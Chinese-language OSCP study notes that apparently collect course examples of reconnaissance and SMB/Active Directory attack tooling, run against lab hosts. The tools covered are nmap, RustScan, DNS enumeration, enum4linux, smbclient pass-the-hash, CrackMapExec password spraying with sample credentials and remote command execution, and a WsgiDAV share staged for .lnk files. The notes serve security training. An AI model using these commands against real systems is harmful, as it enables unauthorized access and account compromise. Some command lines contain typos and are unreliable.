/usr/share/nmap/scripts/smb-enum-shares.nse
/usr/share/nmap/scripts/smb-enum-users.nse
/usr/share/nmap/scripts/smb-os-discovery.nse
...

我們找到了一些有趣的Nmap SMB NSE腳本,可以通過SMB執行各種任務,如OS發現和列舉。

SMB發現腳本僅在目標上啟用了SMBv1時才能工作,這在現代Windows版本中不是默認情況。然而,仍然有很多遺留系統運行著SMBv1,我們已經在Windows主機上啟用了這個特定版本,以模擬這種情況。

讓我們在Windows 11客戶端上嘗試smb-os-discovery模塊。

kali@kali:~$ nmap -v -p 139,445 --script smb-os-discovery 192.168.50.152
...
PORT    STATE SERVICE      REASON
139/tcp open  netbios-ssn  syn-ack
445/tcp open  microsoft-ds syn-ack

Host script results:
| smb-os-discovery:
|   OS: Windows 10 Pro 22000 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: client01
|   NetBIOS computer name: CLIENT01\x00
|   Domain name: megacorptwo.com
|   Forest name: megacorptwo.com
|   FQDN: client01.megacorptwo.com
|_  System time: 2022-03-17T11:54:20-07:00
...

 

SNMP 掃描

要掃描開放的SNMP端口,我們可以運行nmap,使用-sU選項進行UDP掃描,並使用--open選項限制輸出,僅顯示已打開的端口。這將幫助我們識別正在運行SNMP服務的設備。

kali@kali:~$ sudo nmap -sU --open -p 161 192.168.50.1-254 -oG open-snmp.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-14 06:02 EDT
Nmap scan report for 192.168.50.151
Host is up (0.10s latency).

PORT    STATE SERVICE
161/udp open  snmp

Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds
...

namp.sh

#!/bin/bash

# 檢查是否提供了 IP 地址作為參數
if [ -z "$1" ]; then
  echo "用法: $0 <target_ip> [output_file]"
  exit 1
fi

TARGET_IP=$1
OUTPUT_FILE=$2

# 執行全端口掃描,將結果保存到臨時文件中
echo "開始全端口掃描目標 $TARGET_IP ..."
sudo nmap -p- $TARGET_IP -oN all_ports_scan.txt

# 提取開放端口
echo "提取開放端口..."
open_ports=$(grep "open" all_ports_scan.txt | awk -F/ '{print $1}' | tr '\n' ',' | sed 's/,$//')

# 檢查是否有開放端口
if [ -z "$open_ports" ]; then
  echo "沒有找到開放端口。"
  rm -f all_ports_scan.txt
  exit 1
fi

echo "開放端口: $open_ports"

# 構建詳細掃描命令
SCAN_COMMAND="sudo nmap -A -p $open_ports $TARGET_IP"

# 執行詳細掃描並處理輸出
if [ -n "$OUTPUT_FILE" ]; then
  echo "開始詳細掃描開放端口 $open_ports,並將結果輸出到 $OUTPUT_FILE ..."
  $SCAN_COMMAND -oN "$OUTPUT_FILE"
else
  echo "開始詳細掃描開放端口 $open_ports ..."
  $SCAN_COMMAND
fi

# 清理臨時文件
rm -f all_ports_scan.txt

echo "掃描完成。"
【OSCP】Tools

【PortScan】rustscan

Rustscan (只做udp 掃描)

RustScan 是一個用於快速、輕量級端口掃描的開源工具,使用 Rust 編程語言開發。它的目標是提供快速且高效的端口掃描,同時提供友好的用戶界面和一些有用的功能。以下是一些 RustScan 的主要特點和用途:

  1. 快速的端口掃描RustScan 被設計為快速的端口掃描工具,能夠在短時間內掃描大量端口。

  2. 高效的並行處理:工具使用多線程和並行處理來提高效能,可以充分利用多核處理器,加速掃描速度。

  3. 端口範圍設定:用戶可以指定要掃描的端口範圍,以便針對特定需求進行掃描。

  4. 版本檢測RustScan 可以嘗試識別目標端口上運行的服務的版本信息,這有助於更好地理解目標系統。

  5. 輸出格式選擇:工具允許用戶選擇不同的輸出格式,包括易於閱讀的文本格式和 JSON 格式。

  6. 主機存活檢測:除了端口掃描,RustScan 還可以執行主機存活檢測,以確定目標主機是否可訪問。

  7. 自定義選項:用戶可以使用各種自定義選項來調整掃描行為,以滿足其需求。

RustScan 是一個適用於渗透测试、漏洞探測、安全評估和網絡監視的實用工具。它的速度和效能使其成為許多安全專業人員的首選,並且易於使用,即使是初學者也可以快速上手。使用時應謹慎,確保在合法和授權的範圍內使用,並遵循法律和道德準則。

https://github.com/RustScan/RustScan

#安裝
wget https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb
sudo dpkg -i rustscan_2.0.1_amd64.deb 



rustscan -a 192.168.203.151  -u 5000 -t 8000  --scripts none
# -a ip
# -u buffer (thread)
# -t timeout (minisec)

# rustscan + nmap
rustscan -a 192.168.203.151  -u 5000 -t 8000  --scripts -- -n -Pn -sVC
──(kali㉿kali)-[~]
└─$
nmap -n -sn -T4 192.168.202.0/24 -oG - | grep "Up" | awk '{print $2}' | tee ips.txt
192.168.202.6
192.168.202.8

> ports.txt

for i in $(cat ips.txt); do rustscan -a $i -u 5000 -t 5000 -g -- | awk '{gsub("->", ""); gsub("\\[|\\]", ""); print $1,$2}' | tee -a ports.txt ;done
192.168.202.6 22,80
192.168.202.8 22,25

sudo nmap -sS 192.168.202.6 -p22,80 --script http-headers,http-title
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
| http-headers: 
|   Date: Tue, 07 Nov 2023 14:59:11 GMT
|   Server: Apache/2.4.41 (Ubuntu)
|   Last-Modified: Tue, 07 Nov 2023 12:34:33 GMT
|   ETag: "d1-6098f315f9180"
|   Accept-Ranges: bytes
|   Content-Length: 209
|   Vary: Accept-Encoding
|   Connection: close
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
|_http-title: Under Construction


┌──(kali㉿kali)-[~]
└─$ curl http://192.168.202.6/
<html>
        <head>
                <title>Under Construction</title>
        </head>
        <body>
                Flag: OS{e9482a10e325a046a90b76cbf1d4e443}
                This site is still under construction, please come back later.
        </body>
</html>
使用方式: rustscan [標誌] [選項] [-- <命令>...]

標誌: 
--accessible 可訪問模式。關閉對屏幕閱讀器產生不良影響的功能 
-g, --greppable 可grep模式。僅輸出端口信息,不包括Nmap信息。適用於grep或輸出到文件 
-h, --help 顯示幫助信息 
-n, --no-config 是否忽略配置文件 
--top 使用前1000個常見端口 
-V, --version 顯示版本信息

選項: 
-a, --addresses <addresses>... 要掃描的CIDR、IP或主機的逗號分隔列表 
-b, --batch-size <batch-size> 端口掃描的批量大小,它會增加或減慢掃描速度,取決於操作系統的文件打開限制。如果設置為65535,將同時掃描所有端口。
	但是,您的操作系統可能不支持這一點 [默認值:4500] 
-p, --ports <ports>... 要掃描的端口的逗號分隔列表。例如:80,443,8080 
-r, --range <range> 端口範圍,格式為起始-結束。例如:1-1000 
--scan-order <scan-order> 要執行的掃描順序。"serial"選項將按升序掃描端口,而"random"選項將隨機掃描端口 [默認值:serial] [可能的值:Serial、Random] 
--scripts <scripts> 运行所需脚本的级别 [默認值:default] [可能的值:None、Default、Custom] 
-t, --timeout <timeout> 端口被視為關閉之前的超時時間(毫秒) [默認值:1500] 
--tries <tries> 端口被視為關閉之前的嘗試次數。如果設為0,rustscan會將其更正為1 [默認值:1] 
-u, --ulimit <ulimit> 自動提高ULIMIT值,以提供您提供的值

參數: <command>... 要運行的脚本參數。要使用-A參數,請在RustScan的參數末尾使用'-- -A'。
	例如:'rustscan -T 1500 127.0.0.1 -- -A -sC'。
    此命令會自動添加-Pn -vvv -p $PORTS參數到nmap。
    對於像--script '(safe and vuln)' 這樣的參數,請用引號括住 "'(safe and vuln)'"。
【OSCP】Tools

【GitHub】Gitrob 和 Gitleaks

  1. Gitrob:

    • Gitrob 是一個用於 GitHub 存儲庫的敏感信息搜索工具。它主要用於尋找在 GitHub 上公開的 Git 存儲庫中可能包含敏感信息的情況,例如金鑰、密碼、API 令牌、配置文件等。
    • Gitrob 掃描 GitHub 存儲庫,並試圖識別潛在的敏感數據,並生成報告,以便安全專業人員或研究人員可以進一步調查和解決問題。
    • Gitrob 的目標是協助用戶發現潛在的安全漏洞,以幫助他們保護他們的數據和數據庫。
  2. Gitleaks:

    • Gitleaks 是一個用於搜索 Git 存儲庫中敏感信息的工具,不僅僅限於 GitHub,它可以用於本地或自己搭建的 Git 存儲庫。這使得 Gitleaks 更通用,可以用於多種情境,包括內部部署和私有存儲庫。
    • Gitleaks 可以配置來檢查存儲庫中的文件,以查找可能包含敏感信息的模式,例如密碼、API 令牌、私鑰等。
    • Gitleaks 提供了靈活的配置選項,以使用戶能夠自定義搜索模式和規則,以滿足他們特定的需求。

總之,Gitrob 專注於 GitHub 存儲庫的敏感信息搜索,而 Gitleaks 更通用,可以用於各種 Git 存儲庫的敏感信息搜索。使用這些工具有助於組織確保他們的 Git 存儲庫不包含敏感信息,從而增強數據的安全性。

以下是如何安裝和使用 Gitrob 和 Gitleaks 的基本步驟:

安裝和使用 Gitrob:

  1. 安裝 Go 語言:首先,確保你已經安裝了 Go 語言。你可以在 https://golang.org/dl/ 下載 Go 的安裝程序。

  2. 安裝 Gitrob:

    go get github.com/michenriksen/gitrob
  3. 使用 Gitrob:

    • 創建一個 GitHub 帳戶存取令牌,並確保具有查看存儲庫的權限。
    • 运行 Gitrob,并提供 GitHub 帳戶令牌和要搜索的組織或用戶名,例如:
      gitrob -t YOUR_GITHUB_TOKEN -o ORGANIZATION_NAME

    Gitrob 會開始掃描指定的組織或用戶的存儲庫,並生成報告,以列出可能的敏感信息。

    安裝和使用 Gitleaks:

    1. 下載 Gitleaks 的執行檔:你可以在 Gitleaks 的 GitHub 存儲庫中下載適合你的操作系統的執行檔。下載地址:https://github.com/zricethezav/gitleaks/releases

    2. 安裝 Gitleaks:

    apt install gitleaks

    在 Unix/Linux 上,你可以使用以下命令安裝 Gitleaks:

      • 在 Windows 上,將執行檔放在一個你喜歡的目錄中,然後確保這個目錄已被添加到系統 PATH。
    1. 使用 Gitleaks:

      • 在終端中,你可以運行 Gitleaks 來掃描 Git 存儲庫。例如:
        gitleaks --repo=https://github.com/organization/repo
      • Gitleaks 也支援配置文件,你可以通過配置文件定義搜索規則。例如:
        gitleaks --config=path/to/config.yml
【OSCP】Tools

【DNS】Host

host 存在與否,有不同的回應

# host {domain}
kali@kali:~$ host www.megacorpone.com
www.megacorpone.com has address 149.56.244.87

kali@kali:~$ host idontexist.megacorpone.com
Host idontexist.megacorpone.com not found: 3(NXDOMAIN)

使用 t 查詢不同type

# host -t {type} {domain}
kali@kali:~$ host -t mx megacorpone.com
megacorpone.com mail is handled by 10 fb.mail.gandi.net.
megacorpone.com mail is handled by 20 spool.mail.gandi.net.
megacorpone.com mail is handled by 50 mail.megacorpone.com.
megacorpone.com mail is handled by 60 mail2.megacorpone.com.

kali@kali:~$ host -t txt megacorpone.com
megacorpone.com descriptive text "Try Harder"
megacorpone.com descriptive text "google-site-verification=U7B_b0HNeBtY4qYGQZNsEYXfCJ32hMNV3GtC0wWq5pA"

自動化查詢

kali@kali:~$ cat list.txt
www
ftp
mail
owa
proxy
router
kali@kali:~$ for ip in $(cat list.txt); do host $ip.megacorpone.com; done
www.megacorpone.com has address 149.56.244.87
Host ftp.megacorpone.com not found: 3(NXDOMAIN)
mail.megacorpone.com has address 51.222.169.212
Host owa.megacorpone.com not found: 3(NXDOMAIN)
Host proxy.megacorpone.com not found: 3(NXDOMAIN)
router.megacorpone.com has address 51.222.169.214
kali@kali:~$ for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found"
...
208.169.222.51.in-addr.arpa domain name pointer admin.megacorpone.com.
209.169.222.51.in-addr.arpa domain name pointer beta.megacorpone.com.
210.169.222.51.in-addr.arpa domain name pointer fs1.megacorpone.com.
211.169.222.51.in-addr.arpa domain name pointer intranet.megacorpone.com.
212.169.222.51.in-addr.arpa domain name pointer mail.megacorpone.com.
213.169.222.51.in-addr.arpa domain name pointer mail2.megacorpone.com.
214.169.222.51.in-addr.arpa domain name pointer router.megacorpone.com.
215.169.222.51.in-addr.arpa domain name pointer siem.megacorpone.com.
216.169.222.51.in-addr.arpa domain name pointer snmp.megacorpone.com.
217.169.222.51.in-addr.arpa domain name pointer syslog.megacorpone.com.
218.169.222.51.in-addr.arpa domain name pointer support.megacorpone.com.
219.169.222.51.in-addr.arpa domain name pointer test.megacorpone.com.
220.169.222.51.in-addr.arpa domain name pointer vpn.megacorpone.com.
...

 

【OSCP】Tools

【DNS】dnsrecon

dnsrecon 是一個用於執行域名系統(DNS)渗透测试和信息收集的工具。它提供了各種功能,用於識別目標域名的 DNS 記錄、發現子域名、枚舉主機名和 IP 地址等。以下是 dnsrecon 工具的一些主要功能和用途:

  1. DNS 紀錄枚舉dnsrecon 可以用於查找目標域名的 DNS 記錄,包括主機 (A) 記錄、郵件 (MX) 記錄、名字伺服器 (NS) 記錄等。這有助於確定目標的 DNS 結構。

  2. 子域名發現:工具可以自動查找目標域名的子域名,這有助於擴大攻擊面,並查找潛在的安全漏洞。

  3. 域名爆破dnsrecon 允許用戶執行域名爆破攻擊,以查找可能存在的域名。這對於測試域名是否可註冊或用於釣魚攻擊很有用。

  4. 反向 DNS查詢:工具可以根據 IP 地址查詢關聯的 DNS 記錄,這有助於確定主機名和 IP 地址之間的對應關係。

  5. 漏洞掃描dnsrecon 可以幫助渗透測試人員發現 DNS 伺服器的漏洞,如開放式遞歸查詢,並提供了有關 DNS 配置的重要信息。

  6. 識別DNS伺服器:工具可以識別給定 IP 地址的 DNS 伺服器,這有助於了解 DNS 基礎設施的配置。

  7. 內容檢索dnsrecon 可用於檢索 DNS 記錄中的內容,如 TXT 記錄或 SRV 記錄。

總之,dnsrecon 是一個有用的工具,尤其適用於渗透测试、漏洞探測和域名信息收集。測試人員和安全專業人員可以使用它來確保其目標的 DNS 結構安全,同時發現潛在的風險和漏洞。然而,在使用該工具進行測試之前,應確保遵循法律和道德準則,並僅針對已經授權的目標域進行操作。

DNSRecon是一個用Python編寫的高級DNS列舉腳本。讓我們使用-d選項指定域名,-t選項指定要執行的列舉類型(在這種情況下是標準掃描),來對megacorpone.com執行dnsrecon。

kali@kali:~$ dnsrecon -d megacorpone.com -t std
[*] std: Performing General Enumeration against: megacorpone.com...
[-] DNSSEC is not configured for megacorpone.com
[*] 	 SOA ns1.megacorpone.com 51.79.37.18
[*] 	 NS ns1.megacorpone.com 51.79.37.18
[*] 	 NS ns3.megacorpone.com 66.70.207.180
[*] 	 NS ns2.megacorpone.com 51.222.39.63
[*] 	 MX mail.megacorpone.com 51.222.169.212
[*] 	 MX spool.mail.gandi.net 217.70.178.1
[*] 	 MX fb.mail.gandi.net 217.70.178.217
[*] 	 MX fb.mail.gandi.net 217.70.178.216
[*] 	 MX fb.mail.gandi.net 217.70.178.215
[*] 	 MX mail2.megacorpone.com 51.222.169.213
[*] 	 TXT megacorpone.com Try Harder
[*] 	 TXT megacorpone.com google-site-verification=U7B_b0HNeBtY4qYGQZNsEYXfCJ32hMNV3GtC0wWq5pA
[*] Enumerating SRV Records
[+] 0 Records Found

根據上面的輸出,我們已成功對megacorpone.com域執行了主要記錄類型的DNS掃描。

現在,讓我們嘗試使用之前為正向查找創建的list.txt文件,來對額外的主機名進行暴力破解。

kali@kali:~$ cat list.txt 
www
ftp
mail
owa
proxy
router

為了執行我們的暴力破解嘗試,我們將使用-d選項來指定域名,-D選項來指定包含潛在子域字符串的文件名,以及-t選項來指定要執行的列舉類型,本例中是brt用於暴力破解

kali@kali:~$ dnsrecon -d megacorpone.com -D ~/list.txt -t brt
[*] Using the dictionary file: /home/kali/list.txt (provided by user)
[*] brt: Performing host and subdomain brute force against megacorpone.com...
[+] 	 A www.megacorpone.com 149.56.244.87
[+] 	 A mail.megacorpone.com 51.222.169.212
[+] 	 A router.megacorpone.com 51.222.169.214
[+] 3 Records Found

 

【OSCP】Tools

【DNS】DNSEnum

DNSEnum是另一個流行的DNS列舉工具,可以用來進一步自動化對megacorpone.com域的DNS列舉。我們可以傳遞一些選項給工具,但為了這個示例,我們只會傳遞目標域參數:

kali@kali:~$ dnsenum megacorpone.com
...
dnsenum VERSION:1.2.6

-----   megacorpone.com   -----

...

Brute forcing with /usr/share/dnsenum/dns.txt:
_______________________________________________

admin.megacorpone.com.                   5        IN    A        51.222.169.208
beta.megacorpone.com.                    5        IN    A        51.222.169.209
fs1.megacorpone.com.                     5        IN    A        51.222.169.210
intranet.megacorpone.com.                5        IN    A        51.222.169.211
mail.megacorpone.com.                    5        IN    A        51.222.169.212
mail2.megacorpone.com.                   5        IN    A        51.222.169.213
ns1.megacorpone.com.                     5        IN    A        51.79.37.18
ns2.megacorpone.com.                     5        IN    A        51.222.39.63
ns3.megacorpone.com.                     5        IN    A        66.70.207.180
router.megacorpone.com.                  5        IN    A        51.222.169.214
siem.megacorpone.com.                    5        IN    A        51.222.169.215
snmp.megacorpone.com.                    5        IN    A        51.222.169.216
syslog.megacorpone.com.                  5        IN    A        51.222.169.217
test.megacorpone.com.                    5        IN    A        51.222.169.219
vpn.megacorpone.com.                     5        IN    A        51.222.169.220
www.megacorpone.com.                     5        IN    A        149.56.244.87
www2.megacorpone.com.                    5        IN    A        149.56.244.87


megacorpone.com class C netranges:
___________________________________

 51.79.37.0/24
 51.222.39.0/24
 51.222.169.0/24
 66.70.207.0/24
 149.56.244.0/24


Performing reverse lookup on 1280 ip addresses:
________________________________________________

18.37.79.51.in-addr.arpa.                86400    IN    PTR      ns1.megacorpone.com.
...
【OSCP】Tools

【DNS】whois

whois : service tcp/43

image-1698556797698.png

【OSCP】Tools

【DNS】nslookup

 

C:\Users\student>nslookup mail.megacorptwo.com
DNS request timed out.
    timeout was 2 seconds.
Server:  UnKnown
Address:  192.168.50.151

Name:    mail.megacorptwo.com
Address:  192.168.50.154

在上面的輸出中,我們查詢了默認的DNS伺服器(192.168.50.151)以解析mail.megacorptwo.com的IP地址,然後DNS伺服器回答為"192.168.50.154"。

與Linux的host命令類似,nslookup可以執行更細粒度的查詢。例如,我們可以查詢特定主機的TXT記錄屬於哪個特定DNS。

# nslookup -type={type} {domain} {dns server}
C:\Users\student>nslookup -type=TXT info.megacorptwo.com 192.168.50.151
Server:  UnKnown
Address:  192.168.50.151

info.megacorptwo.com    text =

        "greetings from the TXT record body"
【OSCP】Tools

【SMB】nbtscan

我們可以使用它來查詢NetBIOS名稱服務的有效NetBIOS名稱,並使用-r選項指定UDP端口137作為源端口。

kali@kali:~$ sudo nbtscan -r 192.168.50.0/24
Doing NBT name scan for addresses from 192.168.50.0/24

IP address       NetBIOS Name     Server    User             MAC address
------------------------------------------------------------------------------
192.168.50.124   SAMBA            <server>  SAMBA            00:00:00:00:00:00
192.168.50.134   SAMBAWEB         <server>  SAMBAWEB         00:00:00:00:00:00
...
【OSCP】Tools

【SMB】WsgiDAV

們將首先在 Kali 系統上設置一個 WebDAV 共享。我們將使用 WsgiDAV2 作為 WebDAV 伺服器來主持和提供我們的文件。我們可以使用 pip3 來安裝 WsgiDAV。

kali@kali:~$ pip3 install wsgidav           
Defaulting to user installation because normal site-packages is not writeable
Collecting wsgidav
  Downloading WsgiDAV-4.0.1-py3-none-any.whl (171 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 171.3/171.3 KB 1.6 MB/s eta 0:00:00
...  
Successfully installed json5-0.9.6 wsgidav-4.0.1    

安裝好 WsgiDAV 後,我們將建立 /home/kali/webdav 目錄,作為包含我們的 .lnk 文件的 WebDAV 共享目錄。暫時,讓我們在這個目錄中放一個 test.txt 文件。

如果 WsgiDAV 的安裝出現錯誤:externally-managed-environment,我們可以使用虛擬環境3,或者使用 apt 安裝 python3-wsgidav 软件包。在 PEP 6684 中,引入了一項更改,強制使用虛擬環境,以防止通過 pip 安裝導致操作系統中斷的情況。

接下來,我們將從 /home/kali/.local/bin 目錄運行 WsgiDAV。如果通過 apt 安裝了 WsgiDAV,安裝路徑不同,整個課程中應使用 wsgidav 作為啟動伺服器的命令。我們將提供的第一個參數是 --host,它指定要提供的主機。我們將在所有接口上監聽,使用 0.0.0.0。接下來,我們將使用 --port=80 指定監聽端口,並使用 --auth=anonymous 禁用對我們共享的身份驗證。最後,我們將使用 --root /home/kali/webdav/ 設置我們的 WebDAV 共享目錄的根目錄。

kali@kali:~$ mkdir /home/kali/webdav

kali@kali:~$ touch /home/kali/webdav/test.txt

kali@kali:~$ /home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/
Running without configuration file.
17:41:53.917 - WARNING : App wsgidav.mw.cors.Cors(None).is_disabled() returned True: skipping.
17:41:53.919 - INFO    : WsgiDAV/4.0.1 Python/3.9.10 Linux-5.15.0-kali3-amd64-x86_64-with-glibc2.33
17:41:53.919 - INFO    : Lock manager:      LockManager(LockStorageDict)
17:41:53.919 - INFO    : Property manager:  None
17:41:53.919 - INFO    : Domain controller: SimpleDomainController()
17:41:53.919 - INFO    : Registered DAV providers by route:
17:41:53.919 - INFO    :   - '/:dir_browser': FilesystemProvider for path '/home/kali/.local/lib/python3.9/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
17:41:53.919 - INFO    :   - '/': FilesystemProvider for path '/home/kali/webdav' (Read-Write) (anonymous)
17:41:53.920 - WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
17:41:53.920 - WARNING : Share '/' will allow anonymous write access.
17:41:53.920 - WARNING : Share '/:dir_browser' will allow anonymous read access.
17:41:54.348 - INFO    : Running WsgiDAV/4.0.1 Cheroot/8.5.2+ds1 Python 3.9.10
17:41:54.348 - INFO    : Serving on http://0.0.0.0:80 ..

輸出顯示 WebDAV 伺服器現在正在端口80上運行。讓我們通過在瀏覽器中打開 http://127.0.0.1 來確認這一點。

image-1700376859739.png

圖 25 顯示我們成功地瀏覽到了 WebDAV 共享並查看了 test.txt。

【OSCP】Tools

【SMB】net view

它列出了屬於特定主機的域、資源和計算機。舉個例子,連接到client01虛擬機,我們可以列出運行在dc01上的所有共享。

C:\Users\student>net view \\dc01 /all
Shared resources at \\dc01

Share name  Type  Used as  Comment

-------------------------------------------------------------------------------
ADMIN$      Disk           Remote Admin
C$          Disk           Default share
IPC$        IPC            Remote IPC
NETLOGON    Disk           Logon server share
SYSVOL      Disk           Logon server share
The command completed successfully.
【OSCP】Tools

【SMB】enum4linux


$ enum4linux -a -o 192.168.202.13



=========================================( Target Information )=========================================
                                                                                                                                                                             
Target ........... 192.168.202.13                                                                                                                                            
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 192.168.202.13 )===========================
                                                                                                                                                                             
                                                                                                                                                                             
[+] Got domain/workgroup name: WORKGROUP                                                                                                                                     
                                                                                                                                                                             
                                                                                                                                                                             
 ===============================( Nbtstat Information for 192.168.202.13 )===============================
                                                                                                                                                                             
Looking up status of 192.168.202.13                                                                                                                                          
        SAMBA           <00> -         B <ACTIVE>  Workstation Service
        SAMBA           <03> -         B <ACTIVE>  Messenger Service
        SAMBA           <20> -         B <ACTIVE>  File Server Service
        ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
        WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
        WORKGROUP       <1d> -         B <ACTIVE>  Master Browser
        WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections

        MAC Address = 00-00-00-00-00-00

 ==================================( Session Check on 192.168.202.13 )==================================
                                                                                                                                                                             
                                                                                                                                                                             
[+] Server 192.168.202.13 allows sessions using username '', password ''                                                                                                     
                                                                                                                                                                             
                                                                                                                                                                             
 ===============================( Getting domain SID for 192.168.202.13 )===============================
                                                                                                                                                                             
Domain Name: WORKGROUP                                                                                                                                                       
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup                                                                                                         
                                                                                                                                                                             
                                                                                                                                                                             
 ==================================( OS information on 192.168.202.13 )==================================
                                                                                                                                                                             
                                                                                                                                                                             
[E] Can't get OS info with smbclient                                                                                                                                         
                                                                                                                                                                             
                                                                                                                                                                             
[+] Got OS info for 192.168.202.13 from srvinfo:                                                                                                                             
        SAMBA          Wk Sv PrQ Unx NT SNT samba server (Samba, Ubuntu)                                                                                                     
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03


 ======================================( Users on 192.168.202.13 )======================================
                                                                                                                                                                             
Use of uninitialized value $users in print at ./enum4linux.pl line 972.                                                                                                      
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.

Use of uninitialized value $users in print at ./enum4linux.pl line 986.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.

 ================================( Share Enumeration on 192.168.202.13 )================================
                                                                                                                                                                             
smbXcli_negprot_smb1_done: No compatible protocol selected by server.                                                                                                        

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        files           Disk      Flag: OS{861316807af111601f7db90f63ab6e3d}
        IPC$            IPC       IPC Service (samba server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 192.168.202.13                                                                                                                               
                                                                                                                                                                             
//192.168.202.13/print$ Mapping: DENIED Listing: N/A Writing: N/A                                                                                                            
//192.168.202.13/files  Mapping: OK Listing: OK Writing: N/A

[E] Can't understand response:                                                                                                                                               
                                                                                                                                                                             
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*                                                                                                                                   
//192.168.202.13/IPC$   Mapping: N/A Listing: N/A Writing: N/A
root@kali:~# enum4linux -h
enum4linux v0.8.9 ( http :// labs . portcullis . co . uk / application / enum4linux / )
Copyright (C) 2011 Mark Lowe ( mrl@portcullis-security.com )
簡單的封裝了在samba套件中的工具,以提供類似的enum.exe功能(以前從www.bindview.com)。為了方便起見,也增加了一些附加功能,例如RID循環。
用法: ./enum4linux.pl [選項] ip位址
列舉選項:
     -U 取得使用者列表
     -M 取得機器清單*
     -S 取得共享列表
     -P 取得密碼策略訊息
     -G 取得群組和成員列表
     -d 詳述適用於-U和-S
     -u user 使用者指定要使用的使用者名稱(預設"")
     -p pass 指定要使用的密碼(預設為"")
以下選項是enum.exe未實現的: -L, -N, -D, -f
其他選項:
    -a 做所有簡單枚舉(-U -S -G -P -r -o -n -i),如果您沒有提供任何其他選項,請啟用此選項
    -h 顯示此說明訊息並退出
    -r 透過RID循環列舉用戶
    -R range RID範圍要列舉(預設值:500-550,1000-1050,隱含-r)
    -K n 繼續搜尋RID,直到n個連續的RID與使用者名稱不對應,Impies RID範圍結束於999999.對DC有用
    -l 透過LDAP 389 / TCP取得一些(有限的)資訊(僅適用於DN)
    -s 檔案暴力猜測共享名稱
    -k user 遠端系統上存在的使用者(預設值:administrator,guest,krbtgt,domain admins,root,bin,none)
              用於取得sid與“lookupsid known_username”
              使用逗號嘗試幾個用戶:“-k admin,user1,user2”
    -o 取得作業系統資訊
    -i 取得印表機訊息
    -w wrkg 手動指定工作組(通常自動找到)
    -n 做一個nmblookup(類似nbtstat)
    -v 詳細輸出,顯示正在運行的完整命令(net,rpcclient等)
RID循環應從Windows(或Samba)主機中提取一個使用者列表,其中限制匿名設定為1(Windows NT和2000)或啟用「網路存取:允許匿名SID /名稱轉換」(XP,2003)。
注意:Samba伺服器通常似乎有RID在範圍3000-3050。
【OSCP】Tools

【SMB】smbclient

 

#  //192.168.203.13/files => share folder
# -c command
smbclient -N //192.168.203.13/files -c “dir”
# 直接登入
smbclient -N //192.168.203.13/files 
-N 匿名 => 匿名沒戲,大概沒戲

##
smbclient -N -L 192.168.203.9 
for ip in $(cat smb_list.txt); do (smbclient -N -L $ip ); done

##
smbclient -L 192.168.201.63 -p 4455 -U {user}%{passwd} -c “dir”
##
smbclient -N //192.168.205.248/transfer -c "recurse; ls" > 123.txt
kali@kali:~$ smbclient \\\\192.168.50.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Jun  2 16:55:37 2022
  ..                                DHS        0  Thu Jun  2 16:55:35 2022
  secrets.txt                         A        4  Thu Jun  2 11:34:47 2022

                4554239 blocks of size 4096. 771633 blocks available

smb: \> get secrets.txt
getting file \secrets.txt of size 4 as secrets.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
【OSCP】Tools

【SMB】【Remote】 CME ( CrackMapExec )

CrackMapExec(簡稱CME)是一個用於自動化測試和渗透測試的開源工具,旨在簡化與Windows環境中的Active Directory(AD)進行交互的過程。它是一個功能強大的渗透測試框架,支持許多不同的攻擊和測試操作。

以下是CME的主要特點和功能:

CME通常由紅隊和渗透測試人員使用,以測試組織的安全性並發現潛在的弱點。使用這類工具需要謹慎,應該遵循合法和道德的原則,並在授權的環境中進行操作。

# 使用pyenv 隔離安裝 crackmapexec
apt-get install -y libssl-dev libffi-dev python-dev build-essential
pip install crackmapexec

crackmapexec在開始密碼噴灑之前不檢查域的密碼策略。因此,我們應該小心使用此方法以避免鎖定用戶帳戶。

PS C:\Users\jeff> net accounts

image-1706444326998.png

# 準備使用者列表
kali@kali:~$ cat users.txt
dave
jen
pete

# 連線列舉
crackmapexec smb ad_list.txt -u  stephanie -p 'LegmanTeamBenzoion!!' —sessions
# 分享目錄列舉
crackmapexec smb ad_list.txt -u  stephanie -p 'LegmanTeamBenzoion!!' —shares
# 使用者列舉
crackmapexec smb ad_list.txt -u  stephanie -p 'LegmanTeamBenzoion!!' —users
# 猜密碼
crackmapexec smb ad_list.txt -u ad_user.txt -p 'LegmanTeamBenzoion!!' --contunue-on-success
crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success
crackmapexec smb 192.168.250.0/24 -u pete -p 'Nexus123!' -d corp.com --continue-on-success
# 
crackmapexec wimrm ad_list.txt -u ad_user.txt -p 'LegmanTeamBenzoion!!' -x whoami

找到登入(藍色)

image-1708136630054.png

 

